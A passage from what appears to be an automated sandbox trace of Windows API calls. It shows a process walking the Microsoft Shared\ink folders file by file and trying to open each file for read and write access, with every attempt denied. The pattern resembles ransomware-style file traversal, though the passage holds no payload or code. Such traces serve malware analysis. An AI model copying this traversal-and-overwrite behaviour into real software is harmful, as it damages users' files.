cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.587] GetProcessHeap () returned 0x2ef0000 [0168.587] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.587] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.587] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.587] GetProcessHeap () returned 0x2ef0000 [0168.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.588] GetLastError () returned 0x5 [0168.588] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.588] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.589] GetProcessHeap () returned 0x2ef0000 [0168.589] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.589] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0168.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.589] GetLastError () returned 0x5 [0168.589] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0168.589] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0168.589] GetProcessHeap () returned 0x2ef0000 [0168.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.590] GetProcessHeap () returned 0x2ef0000 [0168.590] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.590] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.590] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.590] GetProcessHeap () returned 0x2ef0000 [0168.590] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.590] GetLastError () returned 0x5 [0168.590] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.590] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.590] GetProcessHeap () returned 0x2ef0000 [0168.590] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.590] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0168.590] GetProcessHeap () returned 0x2ef0000 [0168.590] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170e8 [0168.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.593] GetProcessHeap () returned 0x2ef0000 [0168.593] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.593] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.593] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0168.593] GetProcessHeap () returned 0x2ef0000 [0168.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0168.593] GetProcessHeap () returned 0x2ef0000 [0168.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f170e8 [0168.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.594] GetProcessHeap () returned 0x2ef0000 [0168.594] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.594] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0168.594] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0168.594] GetProcessHeap () returned 0x2ef0000 [0168.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a2) returned 0x2f426d8 [0168.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.595] GetLastError () returned 0x5 [0168.595] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0168.595] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.595] GetProcessHeap () returned 0x2ef0000 [0168.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.596] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0168.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.596] GetLastError () returned 0x5 [0168.596] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0168.596] GetProcessHeap () returned 0x2ef0000 [0168.596] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f170e8 [0168.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.596] GetProcessHeap () returned 0x2ef0000 [0168.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.596] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.596] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0168.596] GetProcessHeap () returned 0x2ef0000 [0168.596] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a2) returned 0x2f426d8 [0168.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.597] GetLastError () returned 0x5 [0168.597] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0168.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.598] GetLastError () returned 0x5 [0168.598] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0168.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.598] GetLastError () returned 0x5 [0168.598] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0168.598] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0168.598] GetProcessHeap () returned 0x2ef0000 [0168.599] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f426d8 | out: hHeap=0x2ef0000) returned 1 [0168.599] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0168.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.600] GetLastError () returned 0x5 [0168.600] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0168.600] GetProcessHeap () returned 0x2ef0000 [0168.600] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x9c) returned 0x2f170e8 [0168.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0168.602] GetProcessHeap () returned 0x2ef0000 [0168.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.602] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.602] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0168.602] GetProcessHeap () returned 0x2ef0000 [0168.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x29e) returned 0x2f426d8 [0168.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.603] GetLastError () returned 0x5 [0168.603] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0168.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft 